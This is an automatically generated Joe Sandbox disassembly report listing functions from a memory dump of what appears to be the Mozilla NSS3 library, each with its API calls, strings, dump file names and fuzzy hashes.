Function 6C5B6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C5B6D36

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5B6D20
database corruption, xrefs: 6C5B6D2A
%s at line %d of [%.10s], xrefs: 6C5B6D2F

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 151f903c5a17303dc3f2d430db3957fbe4334514f1d3d7a508b1058a2da45781
Instruction ID: b8c6cb7b0d450a6f42ea35460f2d2f854c3c000e5a8c090963a9079c55b0ccf9
Opcode Fuzzy Hash: 151f903c5a17303dc3f2d430db3957fbe4334514f1d3d7a508b1058a2da45781
Instruction Fuzzy Hash: 4B21F4306043059FC718CE1ACC61B5ABBF6AF84308F54492DD849ABF51EB71F949C791

Function 6C692FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+il,6C6932C2,<+il,00000000,00000000,?), ref: 6C692FDA

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C69300B

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C69302A

Part of subcall function 6C680840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6808B4

Part of subcall function 6C66C3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6C66C45D
Part of subcall function 6C66C3D0: TlsGetValue.KERNEL32 ref: 6C66C494
Part of subcall function 6C66C3D0: EnterCriticalSection.KERNEL32(?), ref: 6C66C4A9
Part of subcall function 6C66C3D0: PR_Unlock.NSS3(?), ref: 6C66C4F4

Strings

<+il, xrefs: 6C692FD0

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+il
API String ID: 2538134263-1603980441
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 3c893c8700e0719eb87f462b18106b6dbb41e15125ffab322ce6724688f92db0
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: 891127B6B011046BDB008E65DC00A9B77D99B8136CF184134E91CD7780E732ED15C7A5

Function 6C6ECC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C6ECD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C6ECC7B), ref: 6C6ECD7A
Part of subcall function 6C6ECD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C6ECD8E
Part of subcall function 6C6ECD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C6ECDA5
Part of subcall function 6C6ECD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C6ECDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C6ECCB5
memcpy.VCRUNTIME140(6C7814F4,6C7802AC,00000090), ref: 6C6ECCD3
memcpy.VCRUNTIME140(6C781588,6C7802AC,00000090), ref: 6C6ECD2B

Part of subcall function 6C609AC0: socket.WSOCK32(?,00000017,6C6099BE), ref: 6C609AE6
Part of subcall function 6C609AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C6099BE), ref: 6C609AFC

Part of subcall function 6C610590: closesocket.WSOCK32(6C609A8F,?,?,6C609A8F,00000000), ref: 6C610597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C6ECCB0

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: f9b0a9d6c40ae6343221d14f66558579b2f5e3a90c93ce7d0b907d5a189da352
Instruction ID: eb1e2a592e65657f7e253ee89a8200fdf7517c3b4ab92da119108e6b79f5077e
Opcode Fuzzy Hash: f9b0a9d6c40ae6343221d14f66558579b2f5e3a90c93ce7d0b907d5a189da352
Instruction Fuzzy Hash: 9E1142F1B072506FDB109F699A0B7423AA89347718F242039E62ACBBC2E771C40487DA

Function 6C5AA8E0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 6C6DA480: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C6FC3A2,?,?,00000000,00000000), ref: 6C6DA528
Part of subcall function 6C6DA480: sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6DA6E0

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014576,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5AA94F

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5AA939
database corruption, xrefs: 6C5AA943
%s at line %d of [%.10s], xrefs: 6C5AA948

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 3fefefed26bb01af83274357d380898ac39196aa7b5ba99658524ce9b9bb8076
Instruction ID: 627d0986dacb45a527ef64774d310dc9734a2091e1cd6cbab90f1c2776178e33
Opcode Fuzzy Hash: 3fefefed26bb01af83274357d380898ac39196aa7b5ba99658524ce9b9bb8076
Instruction Fuzzy Hash: 1F012B31E002085FD700C6BADD15B5FB3F59F89308F46483DD94957A41EB71B9098BA9

Function 6C638850 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C640715), ref: 6C638859
PR_NewLock.NSS3 ref: 6C638874

Part of subcall function 6C6E98D0: calloc.MOZGLUE(00000001,00000084,6C610936,00000001,?,6C61102C), ref: 6C6E98E5

PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C63888D

Strings

NSS, xrefs: 6C638887

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPool
String ID: NSS
API String ID: 2230817933-3870390017
Opcode ID: cf45c921e089e87223f00612674e89efe41bf67731e098c56c5428dc72266c27
Instruction ID: 62f8b9bae3fcf8804c51db0abec26a36ee7e876c5b3e6dfe61f898905993dba5
Opcode Fuzzy Hash: cf45c921e089e87223f00612674e89efe41bf67731e098c56c5428dc72266c27
Instruction Fuzzy Hash: 19F0C262E4123023E21111696D06BC624889F5A75EF042032ED0CE6B82EB51950887FE

Function 6C6CA890 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,?,6C6B5F25,?,?,?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6CA8A3

Part of subcall function 6C66ADC0: TlsGetValue.KERNEL32(?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE10
Part of subcall function 6C66ADC0: EnterCriticalSection.KERNEL32(?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE24
Part of subcall function 6C66ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C64D079,00000000,00000001), ref: 6C66AE5A
Part of subcall function 6C66ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE6F
Part of subcall function 6C66ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE7F
Part of subcall function 6C66ADC0: TlsGetValue.KERNEL32(?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AEB1
Part of subcall function 6C66ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AEC9

PK11_FreeSymKey.NSS3(?,00000000,?,6C6B5F25,?,?,?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6CA8BA
SECITEM_ZfreeItem_Util.NSS3(%_kl,00000000,00000000,?,6C6B5F25,?,?,?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6CA8CF

Strings

%_kl, xrefs: 6C6CA894, 6C6CA8CE

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValue$Item_UnlockUtilZfreefreememset
String ID: %_kl
API String ID: 2877228265-323319426
Opcode ID: 15788a92e16a9376ae4c81a2d83224f7826fb4d1709cd21672d4101dae3d9901
Instruction ID: 5c00bf956c014fbe967a800440630526b4ef6185a903c6592f52bbe2358840c9
Opcode Fuzzy Hash: 15788a92e16a9376ae4c81a2d83224f7826fb4d1709cd21672d4101dae3d9901
Instruction Fuzzy Hash: 7FF0A0F2E0272497EA109A56EC40B9373DCAB0179DF048474D81A97F02E321E80587EA

Function 6C61C9B0 Relevance: 6.1, APIs: 4, Instructions: 128stringCOMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3 ref: 6C61CB3D
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C61CB4B
sqlite3_free.NSS3 ref: 6C61CB70
sqlite3_result_error_nomem.NSS3 ref: 6C61CB99

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintfsqlite3_result_error_nomemstrlen
String ID:
API String ID: 1052848593-0
Opcode ID: f88dce5a7cb13de6deb3936740879aea3d3e6e85ab3f23ff084811861ffd60ae
Instruction ID: b1a98155e925a46e2d6d1bfa8f15e58e84e01b7dda7fed787c35a283269ce9b6
Opcode Fuzzy Hash: f88dce5a7cb13de6deb3936740879aea3d3e6e85ab3f23ff084811861ffd60ae
Instruction Fuzzy Hash: 5751063260CB49DAC302EF39C04016FB7F0BF86789F104A2DE8D66A950EB31C495C38A

Function 6C6E4FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C5C85D2,00000000,?,?), ref: 6C6E4FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6E500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6E50C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6E50D6

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 97b0fda37ec85c29fbb94f6caed47dcbc7c06801c00c60fe582924a9832843f7
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 6C4181B2A012158FCB18CF18DCD179AB7E1BF4831871D466DD84ACBB02E775E891CB95

Function 6C73A860 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 6C73A690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6C73A662), ref: 6C73A69E
Part of subcall function 6C73A690: PR_NewCondVar.NSS3(?), ref: 6C73A6B4

PR_IntervalNow.NSS3 ref: 6C73A8C6
EnterCriticalSection.KERNEL32(?), ref: 6C73A8EB
_PR_MD_UNLOCK.NSS3(?), ref: 6C73A944
PR_SetPollableEvent.NSS3(?), ref: 6C73A94F

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CondCriticalEnterEventIntervalPollableSectioncalloc
String ID:
API String ID: 811965633-0
Opcode ID: 0a80913eee2a915740afe4c4116aefceae581a622dc984d859ec9628b9ad3227
Instruction ID: ec4e5bc698885be79bc550fcc66c175e2092d7b779423d8de1f7676d223377ce
Opcode Fuzzy Hash: 0a80913eee2a915740afe4c4116aefceae581a622dc984d859ec9628b9ad3227
Instruction Fuzzy Hash: 41417CB4A01A16CFCB04CF69C681996FBF5FF48328725956AD849DBB12E731E850CF90

Function 6C626C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C626C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C626CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C626CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C748FE0), ref: 6C626CFE

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 46db0562baba952e72690824d0d20e4fd1dfbf26a11f166cfc10a9e20e518577
Instruction ID: 5d2517513bd7b99b7f68007c832e725382ee43d8ebb04ab833b61d4ccd766f9f
Opcode Fuzzy Hash: 46db0562baba952e72690824d0d20e4fd1dfbf26a11f166cfc10a9e20e518577
Instruction Fuzzy Hash: 12318EB1A0121A9FEB08DF65C891ABFBBF9EF85348B10442DD905E7700EB35D915CBA4

Function 6C734F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C734F5D
free.MOZGLUE(?), ref: 6C734F74
free.MOZGLUE(?), ref: 6C734F82
GetLastError.KERNEL32 ref: 6C734F90

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: cd91eda56c74701ad896b44e1c386e772d3e9a0f7ba4bd47d3cb4dd4c9f0df76
Instruction ID: 4dea6c2e3bd624abb9d18aefbcb263817993de5adcda0f64afccff2adef9907f
Opcode Fuzzy Hash: cd91eda56c74701ad896b44e1c386e772d3e9a0f7ba4bd47d3cb4dd4c9f0df76
Instruction Fuzzy Hash: 85314B75A0022A4BEF01CB69DD45BDF77B8FF45348F0C0235EC19A7682D735D90486A1

Function 6C692880 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

NSS_CMSEncoder_Finish.NSS3(?), ref: 6C692896
NSS_CMSEncoder_Finish.NSS3(?), ref: 6C692932
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C69294C
free.MOZGLUE(?), ref: 6C692955

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Encoder_Finish$Arena_FreeUtilfree
String ID:
API String ID: 508480814-0
Opcode ID: 8bf9d58b5c9f22421e6df66cefa474e05c284d2dc47b3ff31c487f527b8bc2db
Instruction ID: 3a3a9eb4ab65bda63f2d98a441c6d393746790dd9e73943b6f92725606ac42dd
Opcode Fuzzy Hash: 8bf9d58b5c9f22421e6df66cefa474e05c284d2dc47b3ff31c487f527b8bc2db
Instruction Fuzzy Hash: 4721D3B66006029BE7208B2AEC09F5777E9AF8536CF050938E45DC7B61FB71E4188759

Function 6C6EAAA2 Relevance: 6.1, APIs: 4, Instructions: 85COMMON

Download Yara Rule

APIs

_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C780D9C,00000000), ref: 6C6EAAD4
_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C780DA8,00000000), ref: 6C6EAAE3

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _initialize_onexit_table
String ID:
API String ID: 2450287516-0
Opcode ID: 81c1a4e8f3adf9c825b807e00aa8fa8c1aa30539ac27cd5c0f5ed85e037a58e4
Instruction ID: 24646bdaeabfbcbe1a96f3ff59d2a1a3bce392ebf75fdcf00adc589eeba56b6a
Opcode Fuzzy Hash: 81c1a4e8f3adf9c825b807e00aa8fa8c1aa30539ac27cd5c0f5ed85e037a58e4
Instruction Fuzzy Hash: 78212B31907318ABCF00EF6895056CE3FB69F0A318F104026ED149BA42E771A944CBA9

Function 6C664FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C66B60F,00000000), ref: 6C665003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C66B60F,00000000), ref: 6C66501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C66B60F,00000000), ref: 6C66504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C66B60F,00000000), ref: 6C665064

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: a4583843dcf7149e12a2415e94fa327ad0a59e10e78c251178d637102133a47f
Instruction ID: bdfe0447e42613fd556537cc03f4624798a3b4e6363ebb591745055b44525523
